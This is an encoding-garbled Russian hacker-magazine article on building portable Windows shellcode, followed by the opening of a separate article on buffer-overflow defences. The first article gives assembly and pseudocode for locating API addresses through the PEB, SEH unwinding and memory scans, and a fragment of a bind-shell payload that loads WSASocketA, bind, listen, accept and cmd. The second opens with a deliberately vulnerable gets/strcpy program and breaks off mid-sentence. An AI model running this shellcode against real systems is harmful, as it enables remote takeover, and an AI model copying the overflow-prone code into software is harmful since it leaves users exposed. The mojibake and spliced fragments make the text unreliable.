ñòâå ñëó÷àåâ íåäîïóñòèìû), è, ÷òîáû
îò íèõ èçáàâèòüñÿ, call íåîáõîäèìî ïå-
ðåíàïðàâèòü "íàçàä":

; êîðîòêèé ïðûæîê íà call
00000000:         jmps        000000006
; ebp ñîäåðæèò àäðåñ, ñëåäóþùèé çà call
00000002:          pop         ebp
; àêòóàëüíûé shell-êîä:
00000003:          nop         
00000004:   nop
00000005:          nop
; çàêèíóòü àäðåñ ñëåäóþùåé êîìàíäû â
ñòåê
00000006:          call          000000002

ÆÅÑÒÊÀß ÏÐÈÂßÇÊÀ
Íåò íè÷åãî ïðîùå âûçîâà API-

ôóíêöèè ïî àáñîëþòíûì àäðåñàì.
Âûáðàâ ôóíêöèþ (ïóñòü ýòî áóäåò
GetCurrentThreadId, ýêñïîðòèðóåìàÿ
KERNEL32.DLL), ìû ïðîïóñêàì åå ÷å-
ðåç óòèëèòó dumpbin, âõîäÿùóþ â
êîìïëåêò ïîñòàâêè ïðàêòè÷åñêè ëþáî-
ãî êîìïèëÿòîðà. Óçíàâ RVA (Relative
Virtual Address - îòíîñèòåëüíûé âèð-
òóàëüíûé àäðåñ) íàøåé ïîäîïå÷íîé,
ìû ñêëàäûâàåì åãî ñ áàçîâûì àäðå-
ñîì çàãðóçêè, ñîîáùàåìûì òåì æå
dumpbin'îì, ïîëó÷àÿ â ðåçóëüòàòå àá-
ñîëþòíûé àäðåñ ôóíêöèè.

Íà ìîåé ìàøèíå àáñîëþòíûé àäðåñ
ôóíêöèè GetCurrentThreadId ðàâåí
77E876A1h, íî â äðóãèõ âåðñèÿõ
Windows NT îí íàâåðíÿêà áóäåò èíûì.
Çàòî åå âûçîâ ñâîáîäíî óêëàäûâàåò-
ñÿ âñåãî â äâå ñòðîêè, ñîîòâåòñòâóþ-
ùèå ñëåäóþùèì ñåìè áàéòàì:

00000000:         mov          eax,0077E86A1
00000005:         call      eax
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Íåêîòîðûå
óïîäîáëÿþò
ïåðåíîñè-
ìûé shell-
êîä ìîðñêîé
ñâèíêå - íå
ñêàçàòü, ÷òî
ìîðñêàÿ, è
âðîäå íå
ñâèíêà :).

Shell-êîä -
ýòî ìàøèí-
íûé êîä,
òåñíî ñâÿ-
çàííûé ñ
îñîáåííîñ-
òÿìè àòàêó-
åìîé ñèñòå-
ìû.
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Òåïåðü ïîïðîáóåì âûçâàòü ôóíê-
öèþ connect, ýêñïîðòèðóåìóþ
ws2_32.dll. Ïðîïóñêàåì ws2_32.dll ÷å-
ðåç dumpbin è... Ñòîï! À êòî íàì âîîá-
ùå îáåùàë, ÷òî ýòà äèíàìè÷åñêàÿ
áèáëèîòåêà îêàæåòñÿ â ïàìÿòè? À åñ-
ëè äàæå è îêàæåòñÿ, òî íå ôàêò, ÷òî
áàçîâûé àäðåñ, ïðîïèñàííûé â åå çà-
ãîëîâêå, ñîâïàäàåò ñ ðåàëüíûì áàçî-
âûì àäðåñîì çàãðóçêè. Âåäü äèíàìè-
÷åñêèõ áèáëèîòåê ìíîãî, è, åñëè ýòîò
àäðåñ óæå çàíÿò, îïåðàöèîííàÿ ñèñòå-
ìà çàãðóçèò áèáëèîòåêó â äðóãîé ðåãè-
îí ïàìÿòè.

Ëèøü äâå äèíàìè÷åñêèå áèáëèîòåêè
ãàðàíòèðóþò ñâîå ïðèñóòñòâèå â àä-
ðåñíîì ïðîñòðàíñòâå ëþáîãî ïðîöåñ-
ñà, âñåãäà çàãðóæàÿñü ïî îäíèì è òåì
æå àäðåñàì (áàçîâûé àäðåñ çàãðóçêè
ýòèõ äèíàìè÷åñêèõ áèáëèîòåê ïîñòîÿ-
íåí äëÿ äàííîé âåðñèè îïåðàöèîííîé
ñèñòåìû). Ýòî KERNEL32.DLL è
NTDLL.DLL. Ôóíêöèè, ýêñïîðòèðóåìûå
îñòàëüíûìè áèáëèîòåêàìè, ïðàâèëüíî
âûçûâàòü òàê:

h = LoadLibraryA("ws2_32.DLL");
if (h != 0) __error__;
zzz = GetProcAddress(h, "connect");

Òàêèì îáðàçîì, çàäà÷à âûçîâà ïðî-
èçâîëüíîé ôóíêöèè ñâîäèòñÿ ê ïîèñ-
êó àäðåñîâ ôóíêöèé LoadLibraryA è
GetProcAddress.

ÀÐÒÎÁÑÒÐÅË ÏÐßÌÎÃÎ
ÏÎÈÑÊÀ Â ÏÀÌßÒÈ

Íàèáîëåå óíèâåðñàëüíûé, ïåðåíî-
ñèìûé è íàäåæíûé ñïîñîá îïðåäåëå-
íèÿ àäðåñîâ API-ôóíêöèé ñâîäèòñÿ ê
ïîèñêó â àäðåñíîì ïðîñòðàíñòâå ïðî-
öåññà PE-ñèãíàòóðû íóæíîãî ìîäóëÿ ñ
ïîñëåäóþùèì ðàçáîðîì åãî òàáëèöû
ýêñïîðòà.

Óñòàíàâëèâàåì óêàçàòåëü íà
C0000000h (âåðõíÿÿ ãðàíèöà ïîëü-
çîâàòåëüñêîãî ïðîñòðàíñòâà äëÿ
Windows 2000 Advanced Server è
Datacenter Server, çàïóùåííûõ ñ çàã-
ðóçî÷íûì ïàðàìåòðîì /3GB) èëè íà
80000000h (âåðõíÿÿ ãðàíèöà ïîëü-
çîâàòåëüñêîãî ïðîñòðàíñòâà âñåõ îñ-
òàëüíûõ ñèñòåì).

Ïðîâåðÿåì äîñòóïíîñòü óêàçàòåëÿ
âûçîâîì ôóíêöèè IsBadReadPrt, ýêñ-
ïîðòèðóåìîé KERNEL32.DLL, èëè óñòà-
íàâëèâàåì ñâîé îáðàáîò÷èê ñòðóêòóð-
íûõ èñêëþ÷åíèé äëÿ ïðåäîòâðàùåíèÿ
êðàõà ñèñòåìû. Åñëè çäåñü ëåæèò
"MZ", óâåëè÷èâàåì óêàçàòåëü íà 3Ch
áàéòà, èçâëåêàÿ äâîéíîå ñëîâî
e_lfanew, ñîäåðæàùåå ñìåùåíèå PE-
ñèãíàòóðû. Åñëè ýòà ñèãíàòóðà
äåéñòâèòåëüíî îáíàðóæèâàåòñÿ, áàçî-
âûé àäðåñ çàãðóçêè äèíàìè÷åñêîãî
ìîäóëÿ íàéäåí è ìîæíî ïðèñòóïàòü ê
ðàçáîðó òàáëèöû ýêñïîðòà, èç êîòîðî-
ãî òðåáóåòñÿ âûòàùèòü àäðåñà ôóíê-
öèé LoadLibraryA è GetProcAddress
(çíàÿ èõ, ìû óçíàåì è âñå îñòàëüíîå).
Åñëè õîòÿ áû îäíî èç ýòèõ óñëîâèé íå
âûïîëíÿåòñÿ, óìåíüøàåì óêàçàòåëü
íà 10000h è âñå ïîâòîðÿåì ñíà÷àëà
(áàçîâûå àäðåñà çàãðóçêè âñåãäà
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Ñîçäàòü
shell-êîä,
ïîääåðæè-
âàþùèé äå-
ñÿòîê-äðó-
ãîé ïîïó-
ëÿðíûõ
îñåé, âïîë-
íå âîçìîæ-
íî, íî åãî
ðàçìåðû
ïðåâûñÿò
âñå äîïóñ-
òèìûå ëè-
ìèòû.

Êîìïèëÿòî-
ðîâ shell-
êîäà íå ñó-
ùåñòâóåò
õîòÿ áû
óæå ïîòîìó,
÷òî íå ñó-
ùåñòâóåò
àäåêâàòíûõ
ÿçûêîâ åãî
îïèñàíèÿ,
÷òî âûíóæ-
äàåò íàñ
ïðèáåãàòü ê
àññåìáëåðó
è ìàøèííî-
ìó êîäó, êî-
òîðûå ó
êàæäîãî
ïðîöåññîðà
ñâîè.

Äëÿ îïðåäåëåíèÿ àáñîëþòíîãî àäðåñà ôóíêöèè íåîáõîäèìî ñëîæèòü åå RVA-àäðåñ ñ
áàçîâûì àäðåñîì çàãðóçêè ìîäóëÿ

UNIX-ïîäîáíûå ñèñòåìû âàëÿò ñ íîã ñâîèì ðàçíîîáðàçèåì, äî
÷ðåçâû÷àéíîñòè îñëîæíÿÿ ðàçðàáîòêó ïåðåíîñèìûõ shell-êîäîâ.

Èñïîëüçóåòñÿ, ïî ìåíüøåé ìåðå, øåñòü ñïîñîáîâ îðãàíèçàöèè èí-
òåðôåéñà ñ ÿäðîì: äàëüíèé âûçîâ ïî ñåëåêòîðó ñåìü ñìåùåíèå
íîëü (HP-UX/PA-RISC, Solaris/x86, xBSD/x86), syscall (IRIX/MIPS),
ta 8 (Solaris/SPARC), svca (AIX/POWER/PowerPC), INT 25h
(BeOS/x86) è INT 80h (xBSD/x86, Linix/x86), ïðè÷åì ïîðÿäîê ïåðå-
äà÷è ïàðàìåòðîâ è íîìåðà ñèñòåìíûõ âûçîâ ó âñåõ ðàçíûå. Íåêîòî-
ðûå ñèñòåìû ïåðå÷èñëåíû äâàæäû - ýòî îçíà÷àåò, ÷òî îíè èñïîëü-
çóþò ãèáðèäíûé ìåõàíèçì ñèñòåìíûõ âûçîâîâ.

Ïîäðîáíî îïèñûâàòü êàæäóþ èç ñèñòåì çäåñü íåðàçóìíî, òàê êàê
ýòî çàíÿëî áû ñëèøêîì ìíîãî ìåñòà, òåì áîëåå ÷òî ýòî äàâíûì-äàâ-
íî îïèñàíî â "UNIX Assembly Codes Development for Vulnerabilities
Illustration Purposes" Last Stage of Delirium Research Group
(http://opensores.thebunker.net/pub/mirrors/blackhat/presenta-
tions/bh-uusa-001/LSD/bh-uusa-001-llsd.pdf). Äà-äà, òîé ñàìîé ëåãåíäàð-
íîé õàêåðñêîé ãðóïïîé, ÷òî íàøëà äûðó â RPC. Ýòî äåéñòâèòåëüíî
òîëêîâûå ïàðíè, è ïèøóò îíè êëàññíî (ÿ òîëüêî êðÿêàë îò óäîâîëü-
ñòâèÿ, êîãäà ÷èòàë).

ÑÈÑÒÅÌÍÛÅ ÂÛÇÎÂÛ UNIX



êðàòíû 10000h, ïîýòîìó ýòîò ïðèåì
âïîëíå çàêîíåí).

Ïñåâäîêîä, îîñóùåñòâëÿþùèé ïïîèñê
áàçîâûõ ààäðåñîâ ââñåõ ççàãðóæåííûõ
ìîäóëåé ïïî PPE-ññèãíàòóðå

BYTE* pBaseAddress = (BYTE*) 0xÑ0000000;
// âåðõíÿÿ ãðàíèöà äëÿ âñåõ ñèñòåì
while(pBaseAddress) // ìîòàåì öèêë îò
áîáðà äî îáåäà
{
// ïðîâåðêà äîñòóïíîñòè àäðåñà íà ÷òåíèå
if (!IsBadReadPtr(pBaseAddress, 2))
// ýòî "MZ"?
if (*(WORD*)pBaseAddress == 0x5A4D)
// óêàçàòåëü íà "PE" âàëèäåí?
if (!IsBadReadPtr(pBaseAddress +

(*(DWORD*)(pBaseAddress+0x3C)), 4))
// à ýòî "PE"?
if (*(DWORD*)(pBaseAddress +

(*(DWORD*)(pBaseAddress+0x3C))) ==
0x4550)
// ïðèñòóïàåì ê ðàçáîðó òàáëèöû èìïîðòà
if

(n2k_simple_export_walker(pBaseAddress))
break;
// òåñòèðóåì ñëåäóþùèé 64 Êá áëîê ïàìÿ-

òè
pBaseAddress -= 0x10000;

}

Ðàçáîð òàáëèöû ýêñïîðòà îñóùåñ-
òâëÿåòñÿ ïðèáëèçèòåëüíî òàê, êàê íà
âðåçêå (ïðèìåð âûäðàí èç ÷åðâÿ
BlackHat, ïîëíûé èñõîäíûé òåêñò ìîæ-
íî íàéòè íà ñàéòå www.blackhat.com) .

Ãëàâíûé íåäîñòàòîê ýòîãî ñïîñîáà -
â åãî ÷ðåçìåðíîé ãðîìîçäêîñòè, âåäü
îáúåì shell-êîäà îãðàíè÷åí, íî, ê ñî-
æàëåíèþ, íè÷åãî ëó÷øåãî ïîêà íå
ïðèäóìàëè. Ïîèñê áàçîâîãî àäðåñà
ìîæíî è îïòèìèçèðîâàòü (÷òî ìû ñåé-
÷àñ ïðîäåìîíñòðèðóåì), íî îò ðàçáîðà
ýêñïîðòà íèêóäà íå óéòè. Ýòî äàíü,
âûïëà÷èâàåìàÿ çà ìîáèëüíîñòü.

ÎÃÎÍÜ ÏÐßÌÎÉ
ÍÀÂÎÄÊÎÉ - PEB

Èç âñåõ ñïîñîáîâ îïðåäåëåíèÿ áà-
çîâîãî àäðåñà íàèáîëüøåé ïîïóëÿð-
íîñòüþ ïîëüçóåòñÿ àíàëèç PEB
(Process Environment Block - áëîê îêðó-
æåíèÿ ïðîöåññà) - ñëóæåáíîé ñòðóêòó-
ðû äàííûõ, ñîäåðæàùåé, êðîìå ïðî-

÷åé ïîëåçíîé èíôîðìàöèè, áàçîâûå
àäðåñà âñåõ çàãðóæåííûõ ìîäóëåé.

Ýòà ïîïóëÿðíîñòü íåîáúÿñíèìà è íå-
çàñëóæåíà. Âåäü PEB - ýòî âíóòðåííÿÿ
êóõíÿ îïåðàöèîííîé ñèñòåìû Windows
NT, êîòîðîé íè äîêóìåíòàöèÿ, íè
âêëþ÷àåìûå ôàéëû äåëèòüñÿ íå ñî-
áèðàþòñÿ, è ëèøü Microsoft Kernel
Debugger îáíàðóæèâàåò îáðûâêè èí-
ôîðìàöèè. Ïîäîáíàÿ íåäîêóìåíòèðî-
âàííîñòü íå ìîæåò íå íàñòîðàæèâàòü.
Â ëþáîé èç ïîñëåäóþùèõ âåðñèé
Windows ñòðóêòóðà PEB ìîæåò èçìå-
íèòüñÿ, êàê ýòî óæå íåîäíîêðàòíî
ïðîèñõîäèëî, è òîãäà äàííûé ïðèåì
ïåðåñòàíåò ðàáîòàòü, à ðàáîòàåò îí,
êñòàòè ãîâîðÿ, òîëüêî â NT. Ëèíåéêà
9x îòäûõàåò.

Òàê ÷òî çàäóìàéòåñü: à òàê ëè âàì íó-
æåí ýòîò PEB? Åäèíñòâåííîå åãî äîñ-
òîèíñòâî - ïðåäåëüíî êîìïàêòíûé êîä:

00000000:       xor     eax,  eax      ; eax := 0
00000002:       mov   al,030        ; eax := 30h
00000004:       mov   eax,fs:[eax]  ; PEB base
00000007:         mov   eax,  [eax][0000C]

; PEB_LDR_DATA
0000000A:       mov   eax,   [eax][0001C]
; 1-é ýëåìåíò InInitOrderModuleList
0000000D:      lodsd
; ñëåäóþùèé ýëåìåíò
0000000E:        mov    eax,    [eax][00008]
; áàçîâûé àäðåñ KERNEL32.DLL

ÐÀÑÊÐÓÒÊÀ ÑÒÅÊÀ
ÑÒÐÓÊÒÓÐÍÛÕ ÈÑÊËÞ×ÅÍÈÉ

Îáðàáîò÷èê ñòðóêòóðíûõ èñêëþ÷å-
íèé, íàçíà÷àåìûé îïåðàöèîííîé ñèñ-
òåìîé ïî óìîë÷àíèþ, óêàçûâàåò íà
ôóíêöèþ KERNEL32!_except_handler3.
Âûÿñíèâ åå àäðåñ, ìû îïðåäåëèì ïî-
ëîæåíèå îäíîé èç ÿ÷ååê, ãàðàíòèðî-
âàííî ïðèíàäëåæàùåé ìîäóëþ KER-
NEL32.DLL. Îñòàíåòñÿ îêðóãëèòü åå,
àäðåñ äî âåëè÷èíû, êðàòíîé 1.0000h,
è çàíÿòüñÿ ïîèñêàìè PE-ñèãíàòóðû ïî
ìåòîäèêå, èçëîæåííîé âûøå, ñ òîé
ëèøü ðàçíèöåé, ÷òî ïðîâåðÿòü äîñ-
òóïíîñòü óêàçàòåëÿ ïåðåä îáðàùåíè-
åì ê íåìó íå íóæíî, òàê êàê òåïåðü îí
çàâåäîìî äîñòóïåí.

Ïðàêòè÷åñêè âñå ïðèëîæåíèÿ èñ-
ïîëüçóþò ñâîè îáðàáîò÷èêè ñòðóêòóð-
íûõ èñêëþ÷åíèé, è ïîòîìó òåêóùèé
îáðàáîò÷èê íå ñîâïàäàåò ñ íàçíà÷åí-
íûì îïåðàöèîííîé ñèñòåìîé, à shell-
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call here
db "GetProcAddress",0,"LoadLibraryA",0
db "CreateProcessA",0,"ExitProcess",0
db "ws2_32",0,"WSASocketA",0
db "bind",0,"listen",0,"accept",0
db "cmd",0

here:
pop edx
push edx
mov ebx,77F00000h

l1:
cmp dword ptr [ebx],905A4Dh ;/x90ZM
je l2
;db 74h,03h
dec ebx
jmp l1

l2:
mov esi,dword ptr [ebx+3Ch]
add esi,ebx 
mov esi,dword ptr [esi+78h]
add esi,ebx 
mov edi,dword ptr [esi+20h]
add edi,ebx 
mov ecx,dword ptr [esi+14h]
push esi
xor eax,eax 

l4:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx 
mov esi,edx 
xor ecx,ecx 

;GetProcAddress
mov cl,0Eh
repe cmps
pop ecx
pop edi
je l3
add edi,4
inc eax
loop l4
jmp ecx

l3:
pop esi
mov edx,dword ptr [esi+24h]
add edx,ebx
shl eax,1
add eax,edx
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+1Ch]
add eax,ebx
shl ecx,2
add eax,ecx
mov edx,dword ptr [eax]
add edx,ebx
pop esi
mov edi,esi
xor ecx,ecx

;Get 3 Addr
mov cl,3
call loadaddr
add esi,0Ch

ÐÓ×ÍÎÉ ÐÀÇÁÎÐ ÒÀÁËÈÖÛ ÝÊÑÏÎÐÒÀ ììååòòîîää
÷÷ååìì ïïîîääääååððææèèââààååòòññÿÿ

ïïååððååííîîññèèìì?? óóääîîááååíí ââ
ððååààëëèèççààööèèèè??NNTT//22000000//XXPP 99xx

æåñòêàÿ ïðèâÿçêà äà äà íåò äà

ïîèñê â ïàìÿòè äà äà äà íåò

àíàëèç PEB äà íåò ÷àñòè÷íî äà

ðàñêðóòêà SEH äà äà äà äà

native API äà íå ñîâñåì íåò íåò

Ñâîäíàÿ òàáëèöà ðàçëè÷íûõ ìåòîäîâ ïîèñêà API-àäðåñîâ

Íåò íè÷åãî ïðîùå âûçîâà 
API-ôóíêöèè ïî àáñîëþòíûì àäðåñàì.



êîäó ïîòðåáóåòñÿ ðàñêðóòèòü öåïî÷êó
îáðàáîò÷èêîâ, äîáðàâøèñü äî ñàìîãî
êîíöà. Ïîñëåäíèé ýëåìåíò ñïèñêà è
áóäåò ñîäåðæàòü àäðåñ
KERNEL32!_except_handler3.

Äîñòîèíñòâî ýòîãî ïðèåìà â òîì, ÷òî
îí èñïîëüçóåò òîëüêî äîêóìåíòèðî-
âàííûå ñâîéñòâà îïåðàöèîííîé ñèñòå-
ìû, ðàáîòàÿ íà âñåõ ÎÑ ñåìåéñòâà
Windows èñêëþ÷àÿ, ðàçóìååòñÿ,
Windows 3.x, ãäå âñå íå òàê. Ê òîìó æå,
îí äîâîëüíî êîìïàêòåí.

Îïðåäåëåíèå ááàçîâîãî ààäðåñà
KERNEL32.DLL ÷÷åðåç SSEH, ââîçâðàùàåìîì ââ
ðåãèñòðå EEAX

00000000:      mov eax,fs:[00000]
; òåêóù. EXCEPTION_REGISTRATION
00000005:      inc eax
; åñëè eax áûë 1, ñòàíåò 0
00000006: dec eax
; îòêàò íà ïðåæíèé óêàçàòåëü
00000007: mov esi,eax
; esi íà EXCEPTION_REGISTRATION
00000009: mov eax,[eax]
; EXCEPTION_REGISTRATION.prev
0000000B: inc eax
; åñëè eax áûë 1, ñòàíåò 0
0000000C: jne 000000006
; åñëè íå íóëü, ðàçìàòûâàåì äàëüøå
0000000E: lodsd
; ïðîïóñêàåì prev
0000000F: lodsd
; èçâëåêàåì handler
00000010:     xor ax,ax
; âûðàâíèâàåì íà 64 Êá
00000013:      jmps 00000001A
; ïðûãàåì â òåëî öèêëà
00000015: sub eax,000010000
; ñïóñêàåìñÿ íà 64 Êá âíèç
0000001A: cmp w,[eax],05A4D
; ýòî "MZ"?
0000001F:       jne 000000015; åñëè íå
"MZ", ïðîäîëæàåì ìîòàòü
00000021: mov ebx,[eax+3Ch]
; èçâëåêàåì óêàçàòåëü íà PE
00000024: cmp [eax+ebx],4550h
; ýòî "PE"?
0000002B:      jne 000000015
; åñëè íå "PE", ïðîäîëæàåì ìîòàòü

NATIVE API,
ÈËÈ ÏÎÐÒÐÅÒ Â ÑÒÈËÅ ÍÞ

Âûñøèì ïèëîòàæåì õàêåðñòâà
ñ÷èòàåòñÿ èñïîëüçîâàíèå ñûðîãî
API ("native API") îïåðàöèîííîé ñèñ-
òåìû. Íî, íà ìîé âçãëÿä, ýòî ëèøíèå
èçâðàùåíèÿ. Ìàëî òîãî, ÷òî native
API-ôóíêöèè ïîëíîñòüþ íåäîêóìåí-
òèðîâàíû è ïîäâåðæåíû ïîñòîÿí-
íûì èçìåíåíèÿì, òàê îíè åùå è íåï-
ðèãîäíû ê íåïîñðåäñòâåííîìó óïîò-
ðåáëåíèþ (ïîýòîìó è íàçûâàþòñÿ
"ñûðûìè"). Ýòî ïîëóôàáðèêàòû, ðåà-
ëèçóþùèå íèçêîóðîâíåâûå ïðèìè-
òèâû (primitive), ñâîåîáðàçíûå ñòðî-
èòåëüíûå êèðïè÷èêè, òðåáóþùèå
áîëüøîãî îáúåìà ñöåïëÿþùåãî êî-
äà, êîíêðåòíûå ïðèìåðû ðåàëèçàöèè
êîòîðîãî ìîæíî íàéòè â NTDLL.DLL
è KERNEL32.DLL.

Â Windows NT äîñòóï ê native API-
ôóíêöèÿì îñóùåñòâëÿåòñÿ ÷åðåç ïðå-
ðûâàíèå INT 2Eh. Â ðåãèñòð EAX çàíî-
ñèòñÿ íîìåð ïðåðûâàíèÿ, à â EDX - àä-
ðåñ ïàðàìåòðè÷åñêîãî áëîêà ñ àðãó-
ìåíòàìè. Â Windows XP äëÿ ýòîé æå
öåëè èñïîëüçóåòñÿ ìàøèííàÿ êîìàí-
äà sysenter, íî âñå ñâîéñòâà ïðåðûâà-
íèÿ INT 2Eh ïîëíîñòüþ ñîõðàíåíû, âî
âñÿêîì ñëó÷àå ïîêà.

Ïîäðîáíîå èçëîæåíèå òåõíèêè âû-
çîâà ôóíêöèé native API íà ðóññêîì
ÿçûêå, â ÷àñòíîñòè, ìîæíî íàéòè
çäåñü: http://www.wasm.ru/docs/3/gloomy.zip.

ÇÀÊËÞ×ÅÍÈÅ
Â íåïðåðûâíî èçìåíÿþùåìñÿ

ìèðå êèáåðïðîñòðàíñòâà ïîëó÷åí-
íûå çíàíèÿ è íàâûêè óñòàðåâàþò íå-
îáû÷àéíî áûñòðî, è ïîòîìó ïðåäëî-
æåííûå ïðèåìû ñïóñòÿ íåêîòîðîå
âðåìÿ ïåðåñòàíóò ðàáîòàòü. Âïðî-
÷åì, êîãäà ýòî ïðîèçîéäåò, õàêåðû
ïðèäóìàþò íîâûå :).

Íå âîñïðèíèìàé äàííóþ ñòàòüþ êàê
äîãìó! Ýòî óæå îòðàáîòàííûé ìàòåðèàë.
Óñòðåìè ñâîé âçãëÿä â ìóòíóþ ïåëåíó
áóäóùåãî. ×òî òû âèäèøü òàì? Êàêèå
èäåè ìåëüêàþò â òâîåé ãîëîâå? ×åãî òû
æäåøü? Âåäü åñëè òû íå äîäóìàåøüñÿ,
òî êòî òîãäà? Òàê äåðçàé æå!E
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Ê àê çàùèòèòüñÿ îò àòàê íà ïåðåïîëíåíèå áóôåðà? À êàê çàþçàòü óÿçâèìîñòü è ñðàçó æå åå çàêðûòü? Äàâàé
ïîãîâîðèì î ìåòîäàõ çàùèòû è ïîïðîáóåì ïðîïàò÷èòü óÿçâèìîñòü íà êîíêðåòíîì ïðèìåðå.

ÇÀÙÈÒÈÑÜ È ÇÀÌÅÒÈ!
ÇÀÙÈÒÀ ÎÒ ÝÊÑÏËÎÈÒÎÂ È ÇÀÊÐÛÒÈÅ ÓßÇÂÈÌÎÑÒÅÉ
ÏÎÑËÅ ÀÒÀÊÈ

×ÀÑÒÜ 1.
ÇÀÙÈÒÈ ÑÅÁß ÑÀÌ

ÑÎÏÐÎÒÈÂËÅÍÈÅ
ÁÅÑÏÎËÅÇÍÎ?

Ïðî÷èòàâ ïðåäûäóùèå ñòàòüè, òû
ìîã ðåøèòü, ÷òî çàùèòèòüñÿ îò àòàê
íà ïåðåïîëíåíèå áóôåðà íåâîçìîæ-
íî. Êðóãîì çëûå õàêåðû, êîòîðûå âñå
ðàâíî ÷òî-òî íàéäóò è ïåðåïîëíÿò. È
ïðè ýòîì åñëè íå ïîëó÷àò ïîëíûé
êîíòðîëü, òî óæ DoS òî÷íî óñòðîÿò!
Äåéñòâèòåëüíî, åñëè òû ïðîñòîé
ïîëüçîâàòåëü, òî òåáå òîëüêî è îñòà-
åòñÿ, ÷òî ÷èòàòü áþëëåòåíè áåçîïàñ-
íîñòè è æäàòü çàïëàòêè, êîòîðàÿ çàê-
ðîåò î÷åðåäíóþ äûðó â òâîåì ñîôòå. 

Íî âîò åñëè òû ïðîãðàììèñò, òî
âïîëíå ìîæåøü çàùèòèòü ñâîþ ïðîã-
ðàììó îò àòàê íà ïåðåïîëíåíèå áóôå-
ðà åùå íà ýòàïå ðàçðàáîòêè. Äëÿ ýòî-
ãî íóæíî òàê ñêîððåêòèðîâàòü èñõîä-
íûé êîä ïðîãðàììû, ÷òîáû êàæäûé
ðàç ïðè çàïèñè äàííûõ â áóôåð ïðî-
âåðÿëàñü èõ äëèíà. È ñîâñåì íåâàæ-
íî, ãäå èìåííî íàõîäèòñÿ ñàì áóôåð -
â êó÷å, â ñòåêå èëè â ñåêöèè äàííûõ.
Êàê òàêàÿ ïðîâåðêà äåëàåòñÿ íà ïðàê-
òèêå? Êàê ðàç îá ýòîì, à òàêæå î íåêî-
òîðûõ äðóãèõ ìåòîäàõ çàùèòû ïðîã-
ðàìì ìû è ïîãîâîðèì â ïåðâîé ÷àñòè
ñòàòüè.

ÍÀÑÒÐÎÈÒÜ ÊÎÌÏÈËßÒÎÐÛ!
À çíàåøü ëè òû, ÷òî ìíîãèå ñîâðå-

ìåííûå HLL-êîìïèëÿòîðû ïîääåðæè-
âàþò àâòîìàòè÷åñêèé êîíòðîëü ïåðå-
ïîëíåíèÿ ñòåêà? Íóæíî òîëüêî ïðà-
âèëüíî èõ íàñòðîèòü. Äëÿ ïðèìåðà
âîçüìåì êîìïèëÿòîð MS VC++ 7.0 èç
ïàêåòà MS Visual Studio.NET. Îòêðîåì
îêíî ñâîéñòâ ïðîåêòà è âûáåðåì

Configuration Properties => C/C++ =>
Code Generation, óñòàíîâèì Buffer
Security Check â "Yes". Òåïåðü ïðè ïî-
ïûòêå ïåðåïîëíåíèÿ ìàññèâà ðàáîòà
ïðîãðàììû áóäåò ïðåðûâàòüñÿ, è õà-
êåð, âûçâàâøèé ïåðåïîëíåíèå, ñìî-
æåò ëþáîâàòüñÿ êðàñèâûì îêîøêîì
(ñì. ñêðèí).

Ïðàâäà, îò ïåðåïîëíåíèÿ äèíàìè-
÷åñêèõ áóôåðîâ ýòà íàñòðîéêà íå ñïà-
ñàåò. Ê òîìó æå, ïðè âêëþ÷åííîì êîíò-
ðîëå ïåðåïîëíåíèÿ ìàññèâîâ ãåíåðè-
ðóåòñÿ áîëåå ãðîìîçäêèé è ìåäëåí-
íûé êîä. Óâû! Ðàäè áåçîïàñíîñòè ïðè-
õîäèòñÿ ÷åì-òî æåðòâîâàòü :-(. Íóæ-
íûå íàñòðîéêè êîìïèëÿòîðà îáû÷íî
îïèñàíû â äîêóìåíòàöèè ê íåìó. 

Êñòàòè, ðàçðàáîò÷èêè êîìïèëÿòîðîâ
äàâíî õîòÿò ñäåëàòü àâòîìàòè÷åñêóþ
ïðîâåðêó íå òîëüêî äëÿ ìàññèâîâ, íî
è äëÿ óêàçàòåëåé âîîáùå. Íî ïîêà
÷òî íå î÷åíü óñïåøíî. Íàïðèìåð, ñó-
ùåñòâóåò çàïëàòêà äëÿ gcc, êîòîðàÿ
ïîçâîëÿåò ïîëíîñòüþ ðåàëèçîâàòü
ïðîâåðêó óêàçàòåëåé. Ðåçóëüòàò - ïà-
äåíèå ñêîðîñòè è óâåëè÷åíèå ãåíåðè-
ðóåìîãî êîäà ïðèìåðíî â 20-30 ðàç!
Ñîãëàñèñü, ýòî íå ñàìîå îïòèìàëüíîå
ðåøåíèå.

ÎÑÒÎÐÎÆÍÎ! Â ÁÓÔÅÐÅ
ÄËÈÍÍÀß ÑÒÐÎÊÀ

Ìíîãèå äûðû â ñîôòå - ðåçóëüòàò
íåïðàâèëüíîé îáðàáîòêè äëèííûõ
ñòðîê. Ïðîãðàììèñòû èëè íå ïîíèìà-
þò, ÷òî ìîæåò ñëó÷èòüñÿ èç-çà ïåðå-
ïîëíåíèÿ ñòåêà ñòðîêîé, èëè òàê ñïå-
øàò ñëÿïàòü è ïðîäàòü î÷åðåäíóþ
âåðñèþ ñâîåãî ïðîäóêòà, ÷òî çàáûâà-
þò î áåçîïàñíîñòè. Â èòîãå, èìååì âà-

ãîí è ìàëåíüêóþ òåëåæêó ñóïåð-ïóïåð
êðóòûõ ïðèëîæåíèé, êîòîðûå çàãèáà-
þòñÿ îò îäíîé ñòðî÷êè. À ìåæäó òåì
çàùèòèòü áóôåð (ëþáîé, íå òîëüêî
òîò, ÷òî íàõîäèòñÿ â ñòåêå) îò ñëèø-
êîì äëèííîé ñòðîêè î÷åíü ïðîñòî!
Êàê? ×èòàé äàëüøå. Äëÿ íà÷àëà íàïè-
øåì íåáîëüøîå ïðèëîæåíèå. Îòêðî-
åì MS VC++ 7.0, ñîçäàäèì êîíñîëüíîå
ïðèëîæåíèå ñ èìåíåì overflow è â
overflow.cpp íàáüåì âîò ÷òî:

#include <windows.h>
#include <stdio.h>
int overflow_proc(char* big) {
char buff[10];

strcpy(buff, big);
return 0; }

int main() {
char big[255];
puts("Enter string:");
gets(big);
overflow_proc(big);
puts("No overflow ;-)");
return 0; }

Ýòîò èñõîäíèê - ñâîåãî ðîäà êëàññè-
êà. Îí óïîìèíàåòñÿ ïðàêòè÷åñêè âî
âñåõ ñòàòüÿõ ïðî ïåðåïîëíåíèÿ áóôå-
ðà, è ÷àùå âñåãî èìåííî íà íåì þíûå
õàêåðû îòòà÷èâàþò ñâîå óìåíèå ïè-
ñàòü ýêñïëîèòû ;-). Îòêëþ÷èì àâòîìà-
òè÷åñêèé êîíòðîëü ïåðåïîëíåíèÿ ñòå-
êà è îòêîìïèëèðóåì èñõîäíèê. Çàïóñ-
